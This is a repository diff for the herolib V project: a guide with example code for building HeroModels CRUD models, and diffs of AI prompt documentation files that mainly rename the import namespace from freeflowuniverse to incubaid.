assert retrieved_model.description == 'A test model'
// Update
retrieved_model.description = 'Updated description'
updated_model := db_model.set(retrieved_model)!
assert updated_model.description == 'Updated description'
// Delete
deleted := db_model.delete(model_id)!
assert deleted == true
// Verify deletion
exists := db_model.exist(model_id)!
assert exists == false
}
fn test_model_name_type_name() ! {
// Initialize DB for testing
mut mydb := db.new_test()!
mut db_model := DBModelName{
db: &mydb
}
// Create a model
mut model := db_model.new(
name: 'Type Test'
description: 'Testing type_name'
)!
// Test type_name method
assert model.type_name() == 'heromodels.ModelName'
}
fn test_model_name_description() ! {
// Initialize DB for testing
mut mydb := db.new_test()!
mut db_model := DBModelName{
db: &mydb
}
// Create a model
mut model := db_model.new(
name: 'Description Test'
description: 'Testing description method'
)!
// Test description method for each methodname
assert model.description('set') == 'Create or update a model. Returns the ID of the model.'
assert model.description('get') == 'Retrieve a model by ID. Returns the model object.'
assert model.description('delete') == 'Delete a model by ID. Returns true if successful.'
assert model.description('exist') == 'Check if a model exists by ID. Returns true or false.'
assert model.description('list') == 'List all models. Returns an array of model objects.'
}
fn test_model_name_example() ! {
// Initialize DB for testing
mut mydb := db.new_test()!
mut db_model := DBModelName{
db: &mydb
}
// Create a model
mut model := db_model.new(
name: 'Example Test'
description: 'Testing example method'
)!
// Test example method for each methodname
set_call, set_result := model.example('set')
// Assert expected call and result format
get_call, get_result := model.example('get')
// Assert expected call and result format
delete_call, delete_result := model.example('delete')
// Assert expected call and result format
exist_call, exist_result := model.example('exist')
// Assert expected call and result format
list_call, list_result := model.example('list')
// Assert expected call and result format
}
fn test_model_name_encoding_decoding() ! {
// Initialize DB for testing
mut mydb := db.new_test()!
mut db_model := DBModelName{
db: &mydb
}
// Create a model with all fields populated
mut args := ModelNameArg{
name: 'Encoding Test'
description: 'Testing encoding/decoding'
// Set other fields
}
mut model := db_model.new(args)!
// Save the model
model = db_model.set(model)!
model_id := model.id
// Retrieve and verify all fields were properly encoded/decoded
retrieved_model := db_model.get(model_id)!
// Verify all fields match the original
assert retrieved_model.name == 'Encoding Test'
assert retrieved_model.description == 'Testing encoding/decoding'
// Check other fields
}
```
## Integration with Factory
Update the `factory.v` file to include your new model.
### 1. Add the Model to the Factory Struct
```v
// In factory.v
pub struct ModelsFactory {
pub mut:
db &db.DB
user DBUser
group DBGroup
// Add your new model
model_name DBModelName
// Other models...
rpc_handler &jsonrpc.Handler
}
```
### 2. Initialize the Model in the Factory New Method
```v
// In factory.v, in the new() function
pub fn new(args ModelsFactoryArgs) !&ModelsFactory {
// Existing code...
mut f := ModelsFactory{
db: &mydb
user: DBUser{
db: &mydb
}
// Add your new model
model_name: DBModelName{
db: &mydb
}
// Other models...
rpc_handler: &h
}
// Existing code...
}
```
### 3. Add Handler Registration to the Factory API Handler
```v
// In factory.v, in the group_api_handler function
pub fn group_api_handler(rpcid int, servercontext map[string]string, actorname string, methodname string, params string) !jsonrpc.Response {
// Existing code...
match actorname {
// Existing cases...
'model_name' {
return model_name_handle(mut f, rpcid, servercontext, userref, methodname, params)!
}
// Existing cases...
else {
// Error handling
}
}
}
```
## Advanced Features
### Custom Methods
You can add custom methods to your model for specific business logic:
```v
// Add a custom method to the model
pub fn (mut self ModelName) custom_operation(param string) !string {
// Custom business logic
self.updated_at = ourtime.now().unix()
return 'Performed ${param} operation'
}
```
### Enhanced RPC Handling
Extend the RPC handler to support your custom methods:
```v
// In the model_name_handle function
match method {
// Standard CRUD methods...
'custom_operation' {
id := db.decode_u32(params)!
mut model := f.model_name.get(id)!
// Extract parameter from JSON
param_struct := json.decode(struct { param string }, params) or {
return new_error(rpcid,
code: 32602
message: 'Invalid parameters for custom_operation'
)
}
result := model.custom_operation(param_struct.param)!
model = f.model_name.set(model)! // Save changes
return new_response(rpcid, json.encode(result))
}
else {
// Error handling
}
}
```
## Best Practices
1. **Field Order**: Keep field ordering consistent between `dump` and `load` methods
2. **Error Handling**: Use the `!` operator consistently for error propagation
3. **Timestamp Management**: Initialize timestamps using `ourtime.now().unix()`
4. **Required Fields**: Mark mandatory fields with `@[required]` attribute
5. **Limits**: Enforce list limits (default 100)
6. **ID Handling**: Always check existence before operations like delete
7. **Validation**: Add validation in the `new` and `set` methods
8. **API Methods**: Implement the standard CRUD operations (get, set, delete, exist, list)
9. **Comments**: Document all fields and methods
10. **Testing**: Create comprehensive tests covering all methods
## Example Implementation
Here is a complete example of a simple "Project" model:
```v
module heromodels
import incubaid.herolib.core.db
import incubaid.herolib.core.encoder
import incubaid.herolib.core.ourtime
import incubaid.herolib.core.jsonrpc { Response }
import json
// Project model
pub struct Project {
pub mut:
db.Base // Inherit from db.Base
name string
description string
status ProjectStatus
owner_id u32
members []u32
created_at u64
updated_at u64
}
// Project status enum
pub enum ProjectStatus {
active
completed
archived
}
// TypeName for serialization
pub fn (self Project) type_name() string {
return 'heromodels.Project'
}
// Dump serializes the model
pub fn (self Project) dump(mut e encoder.Encoder) ! {
self.Base.dump(mut e)!
e.add_string(self.name)!
e.add_string(self.description)!
e.add_u8(u8(self.status))!
e.add_u32(self.owner_id)!
e.add_array_u32(self.members)!
e.add_u64(self.created_at)!
e.add_u64(self.updated_at)!
}
// Project argument struct
@[params]
pub struct ProjectArg {
pub mut:
id u32
name string @[required]
description string
status ProjectStatus = .active
owner_id u32 @[required]
members []u32
}
// Project list argument struct
@[params]
pub struct ProjectListArg {
pub mut:
status ProjectStatus
owner_id u32
limit int = 100
}
// DB wrapper struct
pub struct DBProject {
pub mut:
db &db.DB
}
// Load deserializes the model
pub fn (mut self DBProject) load(mut obj Project, mut d encoder.Decoder) ! {
obj.Base.load(mut d)!
obj.name = d.get_string()!
obj.description = d.get_string()!
obj.status = unsafe { ProjectStatus(d.get_u8()!) }
obj.owner_id = d.get_u32()!
obj.members = d.get_array_u32()!
obj.created_at = d.get_u64()!
obj.updated_at = d.get_u64()!
}
// Create a new Project
pub fn (mut self DBProject) new(args ProjectArg) !Project {
mut o := Project{
name: args.name
description: args.description
status: args.status
owner_id: args.owner_id
members: args.members
created_at: ourtime.now().unix()
updated_at: ourtime.now().unix()
}
return o
}
// Save or update a Project
pub fn (mut self DBProject) set(o Project) !Project {
return self.db.set[Project](o)!
}
// Get a Project by ID
pub fn (mut self DBProject) get(id u32) !Project {
mut o, data := self.db.get_data[Project](id)!
mut e_decoder := encoder.decoder_new(data)
self.load(mut o, mut e_decoder)!
return o
}
// Delete a Project by ID
pub fn (mut self DBProject) delete(id u32) !bool {
if !self.db.exists[Project](id)! {
return false
}
self.db.delete[Project](id)!
return true
}
// Check if a Project exists
pub fn (mut self DBProject) exist(id u32) !bool {
return self.db.exists[Project](id)!
}
// List Projects with filtering
pub fn (mut self DBProject) list(args ProjectListArg) ![]Project {
all_projects := self.db.list[Project]()!.map(self.get(it)!)
mut filtered_projects := []Project{}
for project in all_projects {
// Filter by status if provided
if args.status != .active && project.status != args.status {
continue
}
// Filter by owner_id if provided
if args.owner_id != 0 && project.owner_id != args.owner_id {
continue
}
filtered_projects << project
}
mut limit := args.limit
if limit > 100 {
limit = 100
}
if filtered_projects.len > limit {
return filtered_projects[..limit]
}
return filtered_projects
}
// API description method
pub fn (self Project) description(methodname string) string {
match methodname {
'set' { return 'Create or update a project. Returns the ID of the project.' }
'get' { return 'Retrieve a project by ID. Returns the project object.' }
'delete' { return 'Delete a project by ID. Returns true if successful.' }
'exist' { return 'Check if a project exists by ID. Returns true or false.' }
'list' { return 'List all projects. Returns an array of project objects.' }
else { return 'This is generic method for the root object, TODO fill in, ...' }
}
}
// API example method
pub fn (self Project) example(methodname string) (string, string) {
match methodname {
'set' {
return '{"project": {"name": "Website Redesign", "description": "Redesign company website", "status": "active", "owner_id": 1, "members": [2, 3]}}', '1'
}
'get' {
return '{"id": 1}', '{"name": "Website Redesign", "description": "Redesign company website", "status": "active", "owner_id": 1, "members": [2, 3]}'
}
'delete' {
return '{"id": 1}', 'true'
}
'exist' {
return '{"id": 1}', 'true'
}
'list' {
return '{}', '[{"name": "Website Redesign", "description": "Redesign company website", "status": "active", "owner_id": 1, "members": [2, 3]}]'
}
else {
return '{}', '{}'
}
}
}
// API handler function
pub fn project_handle(mut f ModelsFactory, rpcid int, servercontext map[string]string, userref UserRef, method string, params string) !Response {
match method {
'get' {
id := db.decode_u32(params)!
res := f.project.get(id)!
return new_response(rpcid, json.encode_pretty(res))
}
'set' {
mut args := db.decode_generic[ProjectArg](params)!
mut o := f.project.new(args)!
if args.id != 0 {
o.id = args.id
}
o = f.project.set(o)!
return new_response_int(rpcid, int(o.id))
}
'delete' {
id := db.decode_u32(params)!
deleted := f.project.delete(id)!
if deleted {
return new_response_true(rpcid)
} else {
return new_error(rpcid,
code: 404
message: 'Project with ID ${id} not found'
)
}
}
'exist' {
id := db.decode_u32(params)!
if f.project.exist(id)! {
return new_response_true(rpcid)
} else {
return new_response_false(rpcid)
}
}
'list' {
args := db.decode_generic[ProjectListArg](params)!
res := f.project.list(args)!
return new_response(rpcid, json.encode_pretty(res))
}
else {
return new_error(rpcid,
code: 32601
message: 'Method ${method} not found on project'
)
}
}
}
```
This complete guide should provide all the necessary information to create and maintain models in the HeroModels system following the established patterns and best practices.

View File

@@ -674,6 +674,7 @@
<file_contents>
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/ai_instructions.md
```md
# HeroDB Model Creation Instructions for AI
@@ -808,6 +809,7 @@ pub fn new() !ModelsFactory {
Use these methods for serialization/deserialization:
### Encoder (Serialization)
- `e.add_bool(val bool)`
- `e.add_u8(val u8)`
- `e.add_u16(val u16)`
@@ -834,6 +836,7 @@ Use these methods for serialization/deserialization:
- `e.add_list_string(val []string)`
### Decoder (Deserialization)
- `e.get_bool()!`
- `e.get_u8()!`
- `e.get_u16()!`
@@ -862,6 +865,7 @@ Use these methods for serialization/deserialization:
## CRUD Methods Implementation
### Create New Instance
```v
pub fn (mut self DBCalendar) new(args CalendarArg) !Calendar {
mut o := Calendar{
@@ -877,6 +881,7 @@ pub fn (mut self DBCalendar) new(args CalendarArg) !Calendar {
```
### Save to Database
```v
pub fn (mut self DBCalendar) set(o Calendar) !u32 {
return self.db.set[Calendar](o)!
@@ -884,6 +889,7 @@ pub fn (mut self DBCalendar) set(o Calendar) !u32 {
```
### Retrieve from Database
```v
pub fn (mut self DBCalendar) get(id u32) !Calendar {
mut o, data := self.db.get_data[Calendar](id)!
@@ -894,6 +900,7 @@ pub fn (mut self DBCalendar) get(id u32) !Calendar {
```
### Delete from Database
```v
pub fn (mut self DBCalendar) delete(id u32) ! {
self.db.delete[Calendar](id)!
@@ -901,6 +908,7 @@ pub fn (mut self DBCalendar) delete(id u32) ! {
```
### Check Existence
```v
pub fn (mut self DBCalendar) exist(id u32) !bool {
return self.db.exists[Calendar](id)!
@@ -908,6 +916,7 @@ pub fn (mut self DBCalendar) exist(id u32) !bool {
```
### List All Objects
```v
pub fn (mut self DBCalendar) list() ![]Calendar {
return self.db.list[Calendar]()!.map(self.get(it)!)
@@ -921,8 +930,8 @@ Create a `.vsh` script in `examples/hero/heromodels/` to demonstrate usage:
```v
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib.core.redisclient
import freeflowuniverse.herolib.hero.heromodels
import incubaid.herolib.core.redisclient
import incubaid.herolib.hero.heromodels
mut mydb := heromodels.new()!
@@ -971,14 +980,15 @@ println('All objects: ${objects}')
8. Implement CRUD methods
9. Create example usage script
10. Test the implementation with the example script
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/core_methods.v
```v
module db
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.data.encoder
pub fn (mut self DB) set[T](obj_ T) !u32 {
// Get the next ID
@@ -1082,12 +1092,13 @@ pub fn (mut self DB) new_id() !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/core_models.v
```v
module db
import crypto.md5
import freeflowuniverse.herolib.core.redisclient
import freeflowuniverse.herolib.data.ourtime
import incubaid.herolib.core.redisclient
import incubaid.herolib.data.ourtime
// Group represents a collection of users with roles and permissions
@[heap]
@@ -1125,6 +1136,7 @@ pub mut:
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/helpers_comments.v
```v
module db
@@ -1164,6 +1176,7 @@ pub fn (mut self DB) comment_get(comment string) !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/db/helpers_tags.v
```v
module db
@@ -1192,13 +1205,14 @@ pub fn (mut self DB) tags_get(tags []string) !u32 {
```
File: /Users/despiegk/code/github/incubaid/herolib/lib/hero/heromodels/calendar_event.v
```v
module heromodels
import freeflowuniverse.herolib.data.encoder
import freeflowuniverse.herolib.data.ourtime
import freeflowuniverse.herolib.hero.db
import incubaid.herolib.data.encoder
import incubaid.herolib.data.ourtime
import incubaid.herolib.hero.db
// CalendarEvent represents a single event in a calendar
@[heap]
@@ -1426,6 +1440,7 @@ pub fn (mut self DBCalendarEvent) list() ![]CalendarEvent {
}
```
</file_contents>
<user_instructions>
make the crud and example for all files in lib/hero/herofs
@@ -1436,5 +1451,4 @@ check the implementation
do the implementation
</user_instructions>

View File

@@ -18,8 +18,8 @@ the template is as follows
## factory
is there factory, which one and quick example how to call, dont say in which file not relevant
show how to import the module is as follows: import freeflowuniverse.herolib.
and then starting from lib e.g. lib/clients/mycelium would result in import freeflowuniverse.herolib. clients.mycelium
show how to import the module is as follows: import incubaid.herolib.
and then starting from lib e.g. lib/clients/mycelium would result in import incubaid.herolib. clients.mycelium
## overview

View File

@@ -10,13 +10,11 @@ start of output file is:
## factory
is there factory, which one and quick example how to call, dont say in which file not relevant
show how to import the module is as follows: import freeflowuniverse.herolib.
and then starting from lib e.g. lib/clients/mycelium would result in import freeflowuniverse.herolib. clients.mycelium
show how to import the module is as follows: import incubaid.herolib.
and then starting from lib e.g. lib/clients/mycelium would result in import incubaid.herolib. clients.mycelium
## structs and methods
quick overview as list with identations, of the structs and its methods
ONLY OUTPUT THE MARKDOWN FILE, NOTHING ELSE

View File

@@ -468,6 +468,7 @@
<file_contents>
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_curdir_example.md
```md
# Getting the Current Script's Path in Herolib/V Shell
@@ -493,7 +494,7 @@ the following is a good pragmatic way to remember clients, installers as a globa
module docsite
import freeflowuniverse.herolib.core.texttools
import incubaid.herolib.core.texttools
__global (
siteconfigs map[string]&SiteConfig
@@ -529,6 +530,7 @@ pub fn default() !&SiteConfig {
}
```
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_heroscript_basics.md
@@ -551,18 +553,19 @@ HeroScript is a concise scripting language with the following structure:
```
Key characteristics:
- **Actions**: Start with `!!`, followed by `actor.action_name` (e.g., `!!mailclient.configure`).
- **Parameters**: Defined as `key:value`. Values can be quoted for spaces.
- **Multiline Support**: Parameters like `description` can span multiple lines.
- **Arguments**: Values without keys (e.g., `arg1`).
- __Actions__: Start with `!!`, followed by `actor.action_name` (e.g., `!!mailclient.configure`).
- __Parameters__: Defined as `key:value`. Values can be quoted for spaces.
- __Multiline Support__: Parameters like `description` can span multiple lines.
- __Arguments__: Values without keys (e.g., `arg1`).
## Processing HeroScript in Vlang
HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters, this is used in most of the herolib modules, it allows configuration or actions in a structured way.
```v
import freeflowuniverse.herolib.core.playbook { PlayBook }
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.core.playbook { PlayBook }
import incubaid.herolib.ui.console
pub fn play(mut plbook PlayBook) ! {
@@ -587,7 +590,6 @@ pub fn play(mut plbook PlayBook) ! {
For detailed information on parameter retrieval methods (e.g., `p.get()`, `p.get_int()`, `p.get_default_true()`), refer to `aiprompts/ai_core/core_params.md`.
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_heroscript_playbook.md
@@ -599,8 +601,8 @@ File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_h
HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters.
```v
import freeflowuniverse.herolib.core.playbook
import freeflowuniverse.herolib.core.playcmds
import incubaid.herolib.core.playbook
import incubaid.herolib.core.playcmds
// path string
// text string
@@ -616,8 +618,6 @@ playcmds.run(mut plbook)!
```
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_http_client.md
@@ -636,7 +636,7 @@ The `HTTPConnection` module provides a robust HTTP client for Vlang, supporting
## Basic Usage
```v
import freeflowuniverse.herolib.core.httpconnection
import incubaid.herolib.core.httpconnection
// Create a new HTTP connection
mut conn := httpconnection.new(
@@ -733,14 +733,15 @@ user := conn.get_json_generic[User](
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_osal.md
```md
# OSAL Core Module - Key Capabilities (freeflowuniverse.herolib.osal.core)
# OSAL Core Module - Key Capabilities (incubaid.herolib.osal.core)
```v
//example how to get started
import freeflowuniverse.herolib.osal.core as osal
import incubaid.herolib.osal.core as osal
osal.exec(cmd:"ls /")!
@@ -752,50 +753,49 @@ this document has info about the most core functions, more detailed info can be
### 1. Process Execution
* **`osal.exec(cmd: Command) !Job`**: Execute a shell command.
* **Key Parameters**: `cmd` (string), `timeout` (int), `retry` (int), `work_folder` (string), `environment` (map[string]string), `stdout` (bool), `raise_error` (bool).
* **Returns**: `Job` (status, output, error, exit code).
* **`osal.execute_silent(cmd string) !string`**: Execute silently, return output.
* **`osal.cmd_exists(cmd string) bool`**: Check if a command exists.
* **`osal.process_kill_recursive(args: ProcessKillArgs) !`**: Kill a process and its children.
- __`osal.exec(cmd: Command) !Job`__: Execute a shell command.
- __Key Parameters__: `cmd` (string), `timeout` (int), `retry` (int), `work_folder` (string), `environment` (map[string]string), `stdout` (bool), `raise_error` (bool).
- __Returns__: `Job` (status, output, error, exit code).
- __`osal.execute_silent(cmd string) !string`__: Execute silently, return output.
- __`osal.cmd_exists(cmd string) bool`__: Check if a command exists.
- __`osal.process_kill_recursive(args: ProcessKillArgs) !`__: Kill a process and its children.
### 2. Network Utilities
* **`osal.ping(args: PingArgs) !bool`**: Check host reachability.
* **`osal.tcp_port_test(args: TcpPortTestArgs) bool`**: Test if a TCP port is open.
* **Key Parameters**: `address` (string), `port` (int).
* **`osal.ipaddr_pub_get() !string`**: Get public IP address.
- __`osal.ping(args: PingArgs) !bool`__: Check host reachability.
- __`osal.tcp_port_test(args: TcpPortTestArgs) bool`__: Test if a TCP port is open.
- __Key Parameters__: `address` (string), `port` (int).
- __`osal.ipaddr_pub_get() !string`__: Get public IP address.
### 3. File System Operations
* **`osal.file_write(path string, text string) !`**: Write text to a file.
* **`osal.file_read(path string) !string`**: Read content from a file.
* **`osal.dir_ensure(path string) !`**: Ensure a directory exists.
* **`osal.rm(todelete string) !`**: Remove files/directories.
- __`osal.file_write(path string, text string) !`__: Write text to a file.
- __`osal.file_read(path string) !string`__: Read content from a file.
- __`osal.dir_ensure(path string) !`__: Ensure a directory exists.
- __`osal.rm(todelete string) !`__: Remove files/directories.
### 4. Environment Variables
* **`osal.env_set(args: EnvSet)`**: Set an environment variable.
* **Key Parameters**: `key` (string), `value` (string).
* **`osal.env_get(key string) !string`**: Get an environment variable's value.
* **`osal.load_env_file(file_path string) !`**: Load variables from a file.
- __`osal.env_set(args: EnvSet)`__: Set an environment variable.
- __Key Parameters__: `key` (string), `value` (string).
- __`osal.env_get(key string) !string`__: Get an environment variable's value.
- __`osal.load_env_file(file_path string) !`__: Load variables from a file.
### 5. Command & Profile Management
* **`osal.cmd_add(args: CmdAddArgs) !`**: Add a binary to system paths and update profiles.
* **Key Parameters**: `source` (string, required), `cmdname` (string).
* **`osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`**: Add/remove paths from profiles.
* **Key Parameters**: `paths2add` (string), `paths2delete` (string).
- __`osal.cmd_add(args: CmdAddArgs) !`__: Add a binary to system paths and update profiles.
- __Key Parameters__: `source` (string, required), `cmdname` (string).
- __`osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`__: Add/remove paths from profiles.
- __Key Parameters__: `paths2add` (string), `paths2delete` (string).
### 6. System Information
* **`osal.platform() !PlatformType`**: Identify the operating system.
* **`osal.cputype() !CPUType`**: Identify the CPU architecture.
* **`osal.hostname() !string`**: Get system hostname.
- __`osal.platform() !PlatformType`__: Identify the operating system.
- __`osal.cputype() !CPUType`__: Identify the CPU architecture.
- __`osal.hostname() !string`__: Get system hostname.
---
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_ourtime.md
@@ -814,7 +814,7 @@ The `OurTime` module in V provides flexible time handling, supporting relative a
## Basic Usage
```v
import freeflowuniverse.herolib.data.ourtime
import incubaid.herolib.data.ourtime
// Current time
mut t := ourtime.now()
@@ -896,6 +896,7 @@ t_invalid := ourtime.new('bad-date') or {
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_params.md
```md
# Parameter Parsing in Vlang
@@ -904,7 +905,7 @@ This document details the `paramsparser` module, essential for handling paramete
## Obtaining a `paramsparser` Instance
```v
import freeflowuniverse.herolib.data.paramsparser
import incubaid.herolib.data.paramsparser
// Create new params from a string
params := paramsparser.new("color:red size:'large' priority:1 enable:true")!
@@ -918,12 +919,13 @@ params.set("color", "red")
The parser supports various input formats:
1. **Key-value pairs**: `key:value`
2. **Quoted values**: `key:'value with spaces'` (single or double quotes)
3. **Arguments without keys**: `arg1 arg2` (accessed by index)
4. **Comments**: `// this is a comment` (ignored during parsing)
1. __Key-value pairs__: `key:value`
2. __Quoted values__: `key:'value with spaces'` (single or double quotes)
3. __Arguments without keys__: `arg1 arg2` (accessed by index)
4. __Comments__: `// this is a comment` (ignored during parsing)
Example:
```v
text := "name:'John Doe' age:30 active:true // user details"
params := paramsparser.new(text)!
@@ -1028,10 +1030,11 @@ The pathlib module provides a comprehensive interface for handling file system o
### Importing pathlib
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
```
### Creating Path Objects
```v
// Create a Path object for a file
mut file_path := pathlib.get("path/to/file.txt")
@@ -1041,6 +1044,7 @@ mut dir_path := pathlib.get("path/to/directory")
```
### Basic Path Operations
```v
// Get absolute path
abs_path := file_path.absolute()
@@ -1057,6 +1061,7 @@ if file_path.exists() {
## Path Properties and Methods
### Path Types
```v
// Check if path is a file
if file_path.is_file() {
@@ -1075,6 +1080,7 @@ if file_path.is_link() {
```
### Path Normalization
```v
// Normalize path (remove extra slashes, resolve . and ..)
normalized_path := file_path.path_normalize()
@@ -1089,6 +1095,7 @@ name_no_ext := file_path.name_no_ext()
## File and Directory Operations
### File Operations
```v
// Write to file
file_path.write("Content to write")!
@@ -1101,6 +1108,7 @@ file_path.delete()!
```
### Directory Operations
```v
// Create directory
mut dir := pathlib.get_dir(
@@ -1116,6 +1124,7 @@ dir.delete()!
```
### Symlink Operations
```v
// Create symlink
file_path.link("path/to/symlink", delete_exists: true)!
@@ -1127,12 +1136,14 @@ real_path := file_path.realpath()
## Advanced Operations
### Path Copying
```v
// Copy file to destination
file_path.copy(dest: "path/to/destination")!
```
### Recursive Operations
```v
// List directory recursively
mut recursive_list := dir.list(recursive: true)!
@@ -1142,6 +1153,7 @@ dir.delete()!
```
### Path Filtering
```v
// List files matching pattern
mut filtered_list := dir.list(
@@ -1153,6 +1165,7 @@ mut filtered_list := dir.list(
## Best Practices
### Error Handling
```v
if file_path.exists() {
// Safe to operate
@@ -1161,7 +1174,6 @@ if file_path.exists() {
}
```
```
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_text.md
@@ -1173,93 +1185,121 @@ The `texttools` module provides a comprehensive set of utilities for text manipu
## Functions and Examples:
```v
import freeflowuniverse.herolib.core.texttools
import incubaid.herolib.core.texttools
assert hello_world == texttools.name_fix("Hello World!")
```
### Name/Path Processing
* `name_fix(name string) string`: Normalizes filenames and paths.
* `name_fix_keepspace(name string) !string`: Like name_fix but preserves spaces.
* `name_fix_no_ext(name_ string) string`: Removes file extension.
* `name_fix_snake_to_pascal(name string) string`: Converts snake_case to PascalCase.
- `name_fix_keepspace(name string) !string`: Like name_fix but preserves spaces.
- `name_fix_no_ext(name_ string) string`: Removes file extension.
- `name_fix_snake_to_pascal(name string) string`: Converts snake_case to PascalCase.
```v
name := texttools.name_fix_snake_to_pascal("hello_world") // Result: "HelloWorld"
```
* `snake_case(name string) string`: Converts PascalCase to snake_case.
```v
name := texttools.snake_case("HelloWorld") // Result: "hello_world"
```
* `name_split(name string) !(string, string)`: Splits name into site and page components.
### Text Cleaning
* `name_clean(r string) string`: Normalizes names by removing special characters.
```v
name := texttools.name_clean("Hello@World!") // Result: "HelloWorld"
```
* `ascii_clean(r string) string`: Removes all non-ASCII characters.
* `remove_empty_lines(text string) string`: Removes empty lines from text.
- `remove_empty_lines(text string) string`: Removes empty lines from text.
```v
text := texttools.remove_empty_lines("line1\n\nline2\n\n\nline3") // Result: "line1\nline2\nline3"
```
* `remove_double_lines(text string) string`: Removes consecutive empty lines.
* `remove_empty_js_blocks(text string) string`: Removes empty code blocks (```...```).
- `remove_empty_js_blocks(text string) string`: Removes empty code blocks (```...```).
### Command Line Parsing
* `cmd_line_args_parser(text string) ![]string`: Parses command line arguments with support for quotes and escaping.
```v
args := texttools.cmd_line_args_parser("'arg with spaces' --flag=value") // Result: ['arg with spaces', '--flag=value']
```
* `text_remove_quotes(text string) string`: Removes quoted sections from text.
* `check_exists_outside_quotes(text string, items []string) bool`: Checks if items exist in text outside of quotes.
- `check_exists_outside_quotes(text string, items []string) bool`: Checks if items exist in text outside of quotes.
### Text Expansion
* `expand(txt_ string, l int, expand_with string) string`: Expands text to a specified length with a given character.
### Indentation
* `indent(text string, prefix string) string`: Adds indentation prefix to each line.
```v
text := texttools.indent("line1\nline2", " ") // Result: " line1\n line2\n"
```
* `dedent(text string) string`: Removes common leading whitespace from every line.
```v
text := texttools.dedent(" line1\n line2") // Result: "line1\nline2"
```
### String Validation
* `is_int(text string) bool`: Checks if text contains only digits.
* `is_upper_text(text string) bool`: Checks if text contains only uppercase letters.
- `is_upper_text(text string) bool`: Checks if text contains only uppercase letters.
### Multiline Processing
* `multiline_to_single(text string) !string`: Converts multiline text to a single line with proper escaping.
### Text Splitting
* `split_smart(t string, delimiter_ string) []string`: Intelligent string splitting that respects quotes.
### Tokenization
* `tokenize(text_ string) TokenizerResult`: Tokenizes text into meaningful parts.
* `text_token_replace(text string, tofind string, replacewith string) !string`: Replaces tokens in text.
- `text_token_replace(text string, tofind string, replacewith string) !string`: Replaces tokens in text.
### Version Parsing
* `version(text_ string) int`: Converts version strings to comparable integers.
```v
ver := texttools.version("v0.4.36") // Result: 4036
ver = texttools.version("v1.4.36") // Result: 1004036
```
### Formatting
* `format_rfc1123(t time.Time) string`: Formats a time.Time object into RFC 1123 format.
### Array Operations
* `to_array(r string) []string`: Converts a comma or newline separated list to an array of strings.
```v
text := "item1,item2,item3"
array := texttools.to_array(text) // Result: ['item1', 'item2', 'item3']
```
* `to_array_int(r string) []int`: Converts a text list to an array of integers.
* `to_map(mapstring string, line string, delimiter_ string) map[string]string`: Intelligent mapping of a line to a map based on a template.
- `to_map(mapstring string, line string, delimiter_ string) map[string]string`: Intelligent mapping of a line to a map based on a template.
```v
r := texttools.to_map("name,-,-,-,-,pid,-,-,-,-,path",
"root 304 0.0 0.0 408185328 1360 ?? S 16Dec23 0:34.06 /usr/sbin/distnoted")
@@ -1277,7 +1317,7 @@ has mechanisms to print better to console, see the methods below
import as
```v
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.ui.console
```
@@ -1482,7 +1522,7 @@ this is how we want example scripts to be, see the first line
```v
#!/usr/bin/env -S v -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib...
import incubaid.herolib...
```
@@ -1688,6 +1728,7 @@ impl Company {
```
File: /Users/despiegk/code/git.threefold.info/herocode/db/heromodels/src/models/biz/mod.rs
```rs
// Business models module
// Sub-modules will be declared here
@@ -1712,6 +1753,7 @@ pub use sale::{Sale, SaleItem, SaleStatus};
```
File: /Users/despiegk/code/git.threefold.info/herocode/db/heromodels/src/models/biz/payment.rs
```rs
use heromodels_core::BaseModelData;
use heromodels_derive::model;
@@ -1933,6 +1975,7 @@ impl Payment {
```
File: /Users/despiegk/code/git.threefold.info/herocode/db/heromodels/src/models/biz/product.rs
```rs
use heromodels_core::BaseModelData;
use heromodels_derive::model;
@@ -2086,6 +2129,7 @@ impl Product {
```
File: /Users/despiegk/code/git.threefold.info/herocode/db/heromodels/src/models/biz/README.md
```md
# Business Models (`biz`)
@@ -2149,6 +2193,7 @@ All models use the builder pattern for easy and readable instance creation.
```
File: /Users/despiegk/code/git.threefold.info/herocode/db/heromodels/src/models/biz/sale.rs
```rs
use heromodels_core::{BaseModelData, BaseModelDataOps, Model};
use rhai::{CustomType, TypeBuilder};
@@ -2326,6 +2371,7 @@ impl Sale {
```
File: /Users/despiegk/code/git.threefold.info/herocode/db/heromodels/src/models/biz/shareholder.rs
```rs
use heromodels_core::BaseModelData;
use heromodels_derive::model;
@@ -2410,6 +2456,7 @@ impl Shareholder {
}
```
</file_contents>
<meta prompt 1 = "[Architect]">
You are a senior software architect specializing in code design and implementation planning. Your role is to:
@@ -2425,6 +2472,7 @@ You are a senior software architect specializing in code design and implementati
- Configuration updates
For each change:
- Describe the exact location in the code where changes are needed
- Explain the logic and reasoning behind each modification
- Provide example signatures, parameters, and return types
@@ -2448,7 +2496,6 @@ forget what rust does, there is no special module things needed, no re-exports o
